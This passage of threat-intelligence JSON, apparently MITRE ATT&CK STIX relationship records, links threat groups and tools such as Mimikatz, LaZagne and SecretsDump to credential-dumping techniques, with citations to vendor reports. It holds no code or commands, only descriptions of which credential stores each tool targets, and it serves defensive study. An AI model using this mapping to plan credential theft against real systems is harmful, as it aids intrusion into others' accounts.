            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--176244be-553b-48ac-8e38-9b006d6c360e",
            "type": "relationship",
            "modified": "2020-03-19T22:16:54.841Z",
            "created": "2020-03-19T22:16:54.841Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--3baf9dda-1286-4a3b-874b-7a04f0172aae",
            "type": "relationship",
            "modified": "2020-03-19T22:16:54.843Z",
            "created": "2020-03-19T22:16:54.843Z"
        },
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            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--9c555aa7-87fa-4c5d-9224-a61cd0d0157f",
            "type": "relationship",
            "modified": "2020-03-19T22:16:54.864Z",
            "created": "2020-03-19T22:16:54.864Z"
        },
        {
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            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "external_references": [
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                },
                {
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "source_name": "FireEye APT33 Guardrail"
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like Gpppassword to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--3ca3a169-177b-44aa-b9c1-40e605f8edad",
            "type": "relationship",
            "modified": "2020-03-19T22:16:54.878Z",
            "created": "2020-03-19T22:16:54.878Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "external_references": [
                {
                    "source_name": "FireEye APT39 Jan 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html",
                    "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."
                }
            ],
            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used Ncrack to reveal credentials.(Citation: FireEye APT39 Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--c4a566d6-69ce-4284-809d-433663e3e2fa",
            "type": "relationship",
            "modified": "2020-03-19T22:19:04.578Z",
            "created": "2020-03-19T22:19:04.578Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "external_references": [
                {
                    "source_name": "Cybereason Astaroth Feb 2019",
                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."
                }
            ],
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses an external software known as NetPass to recover passwords. (Citation: Cybereason Astaroth Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--be30816a-854a-4568-ade5-8baa60fa087c",
            "type": "relationship",
            "modified": "2020-03-19T22:23:33.601Z",
            "created": "2020-03-19T22:23:33.601Z"
        },
        {
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects LSA secrets.(Citation: F-Secure The Dukes)",
            "relationship_type": "uses",
            "id": "relationship--2625dfe6-7c02-4df7-b98f-dbfedb2d104b",
            "type": "relationship",
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            "created": "2020-03-19T22:38:12.939Z"
        },
        {
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            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects Windows account hashes.(Citation: F-Secure The Dukes)",
            "relationship_type": "uses",
            "id": "relationship--d01869cb-74bb-4ad9-ac5e-9c7706f323d1",
            "type": "relationship",
            "modified": "2020-03-25T15:54:59.437Z",
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        },
        {
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            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) collects user credentials, including passwords, for various programs including Web browsers.(Citation: F-Secure The Dukes)",
            "relationship_type": "uses",
            "id": "relationship--62943e4f-a181-4eb2-84a4-27ed3e7308af",
            "type": "relationship",
            "modified": "2020-03-19T22:38:12.967Z",
            "created": "2020-03-19T22:38:12.967Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf"
                }
            ],
            "description": "[CozyCar](https://attack.mitre.org/software/S0046) has executed [Mimikatz](https://attack.mitre.org/software/S0002) to harvest stored credentials from the victim and further victim penetration.(Citation: F-Secure CozyDuke)",
            "relationship_type": "uses",
            "id": "relationship--78c889da-e1e2-4230-a91d-9934627fecf6",
            "type": "relationship",
            "modified": "2020-11-23T17:03:38.972Z",
            "created": "2020-03-19T22:40:09.367Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                },
                {
                    "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket",
                    "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.",
                    "source_name": "Core Security Impacket"
                }
            ],
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed SecretsDump to dump password hashes. They also obtained ntds.dit from domain controllers. (Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)(Citation: Core Security Impacket)",
            "relationship_type": "uses",
            "id": "relationship--f2d272fe-ee0e-44da-a658-83b970cde1d6",
            "type": "relationship",
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                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "US-CERT APT Energy Oct 2017",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
                },
                {
                    "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket",
                    "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.",
                    "source_name": "Core Security Impacket"
                }
            ],
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed SecretsDump to dump password hashes.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)(Citation: Core Security Impacket)",
            "relationship_type": "uses",
            "id": "relationship--ec9f39cb-19a2-4134-a16a-ea263e958762",
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            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "source_name": "Trend Micro Emotet Jan 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf",
                    "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."
                },
                {
                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping browser password grabber modules. (Citation: Trend Micro Emotet Jan 2019)(Citation: IBM IcedID November 2017)",
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            "id": "relationship--7ac04e64-a09e-4a66-b6ce-047030400045",
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                {
                    "source_name": "FireEye FIN6 April 2016",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
                },
                {
                    "source_name": "FireEye FIN6 Apr 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019."
                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit\u2019s [PsExec](https://attack.mitre.org/software/S0029) NTDSGRAB module to obtain a copy of the victim's Active Directory database.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)\t",
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            "id": "relationship--56f53206-d15a-4b4d-8391-9d5dd5e0e403",
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                {
                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5",
                    "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
                    "source_name": "TrueSec Gsecdump"
                }
            ],
            "description": "[gsecdump](https://attack.mitre.org/software/S0008) can dump LSA secrets.(Citation: TrueSec Gsecdump)",
            "relationship_type": "uses",
            "id": "relationship--2d063a40-dbba-458f-897d-2b756a2591b1",
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                {
                    "source_name": "Impacket Tools",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019."
                }
            ],
            "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)",
            "relationship_type": "uses",
            "id": "relationship--78daa7e5-f5e5-452b-a7fd-cece272294fd",
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                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019."
                }
            ],
            "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information from NTDS.dit.(Citation: Impacket Tools)",
            "relationship_type": "uses",
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                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019."
                }
            ],
            "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)",
            "relationship_type": "uses",
            "id": "relationship--de1d9450-317d-42e1-af71-8f531408e5c6",
            "type": "relationship",
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                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "relationship_type": "uses",
            "id": "relationship--644d2862-2836-41dd-ba3f-05e23278a5e6",
            "type": "relationship",
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            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using gsecdump.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "relationship_type": "uses",
            "id": "relationship--f3d30d20-ee51-4976-8611-5667df771567",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.312Z",
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            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
            "external_references": [
                {
                    "url": "https://github.com/zerosum0x0/koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "source_name": "Github Koadic"
                }
            ],
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by gathering domain controller hashes from NTDS.(Citation: Github Koadic)",
            "relationship_type": "uses",
            "id": "relationship--a359e758-a95c-4064-b8d7-b8351489409e",
            "type": "relationship",
            "modified": "2020-03-19T23:04:39.794Z",
            "created": "2020-03-19T23:04:39.794Z"
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        {
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            ],
            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "external_references": [
                {
                    "source_name": "GitHub LaZagne Dec 2018",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from chats, databases, mail, and WiFi.(Citation: GitHub LaZagne Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--229150e3-5c4b-475e-8981-27fb472ad119",
            "type": "relationship",
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            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "source_name": "GitHub LaZagne Dec 2018",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from LSA secrets to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)",
            "relationship_type": "uses",
            "id": "relationship--2fff9b06-61f5-41f5-8cef-210485eaa8b2",
            "type": "relationship",
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            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "target_ref": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
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                {
                    "source_name": "GitHub LaZagne Dec 2018",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from MSCache to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)",
            "relationship_type": "uses",
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                {
                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
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                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
            "relationship_type": "uses",
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                {
                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
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                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
            "relationship_type": "uses",
            "id": "relationship--3d116ef6-d11b-4d04-9bf8-c51def11bd3b",
            "type": "relationship",
            "modified": "2020-03-19T23:18:35.453Z",
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            "external_references": [
                {
                    "source_name": "Symantec Leafminer July 2018",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east"
                }
            ],
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information, including LaZagne.(Citation: Symantec Leafminer July 2018)",
            "relationship_type": "uses",
            "id": "relationship--5d3f58bf-2192-46f9-bba3-27e917b75df6",
            "type": "relationship",
            "modified": "2020-03-19T23:18:35.459Z",
            "created": "2020-03-19T23:18:35.459Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "external_references": [
                {
                    "source_name": "FireEye APT40 March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html",
                    "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."
                }
            ],
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including ProcDump and WCE. (Citation: FireEye APT40 March 2019)",
            "relationship_type": "uses",
            "id": "relationship--31a8dc85-abb8-4144-9fe8-6d9a71339c0e",
            "type": "relationship",
            "modified": "2020-03-29T19:07:07.353Z",
            "created": "2020-03-19T23:20:19.318Z"
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            ],
            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "target_ref": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3",
            "external_references": [
                {
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "source_name": "GitHub LaZagne Dec 2018"
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from macOS Keychains.(Citation: GitHub LaZagne Dec 2018)\t",
            "relationship_type": "uses",
            "id": "relationship--b32c6aa0-9299-4ada-a626-9805ba1f1610",
            "type": "relationship",
            "modified": "2020-03-19T23:21:40.500Z",
            "created": "2020-03-19T23:21:40.500Z"
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        {
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            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs",
                    "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.",
                    "source_name": "Github AD-Pentest-Script"
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)",
            "relationship_type": "uses",
            "id": "relationship--c69ee5f4-161a-4d2b-bad4-cc7929596bd3",
            "type": "relationship",
            "modified": "2020-03-19T23:25:31.148Z",
            "created": "2020-03-19T23:25:31.148Z"
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            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "external_references": [
                {
                    "url": "https://github.com/gentilkiwi/mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "source_name": "Deply Mimikatz"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)\t",
            "relationship_type": "uses",
            "id": "relationship--7804d727-91bc-41bd-9b05-686d550e9e04",
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            "external_references": [
                {
                    "url": "https://github.com/gentilkiwi/mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "source_name": "Deply Mimikatz"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
                    "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/",
                    "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.",
                    "source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
            "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)\t",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "external_references": [
                {
                    "url": "https://github.com/gentilkiwi/mimikatz",
                    "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.",
                    "source_name": "Deply Mimikatz"
                },
                {
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "source_name": "GitHub Mimikatz lsadump Module"
                },
                {
